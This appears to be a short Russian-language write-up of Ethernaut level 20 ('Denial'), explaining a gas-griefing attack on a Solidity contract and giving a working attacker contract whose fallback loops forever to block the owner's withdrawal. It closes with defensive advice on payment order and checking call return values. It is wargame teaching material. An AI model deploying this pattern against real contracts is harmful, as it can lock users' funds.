Ethernaut. Задача 20. Denial
В этой задаче нам нужно выводить деньги так, чтобы owner не смог получить свой процент.
Ссылка на задачу
В чем суть?
Задача, которая иллюстрирует пример атаки gas griefing. Так как в функции withdraw() после перечисление денег нам через низкоуровневый вызов, контракт Denial не ждет return, мы можем использовать весь доступный газ в функции на операции в своем контракте.
Нам достаточно создать бесконечный цикл в fallback функции, чтобы владелец Denial никогда не получил свои процент.
contract Attack {
Denial denial;
constructor(address _addr) {
denial = Denial(payable(_addr));
denial.setWithdrawPartner(address(this));
}
fallback() payable external{
uint a = 0;
while(true)
{
a++;
}
}
}
Рекомендация. Всегда в таких случаях перечисляйте деньги себе, а уже потом партнеру. Более того, всегда следует обрабатывать return в call вызовах.
#ethernaut
Post #432
183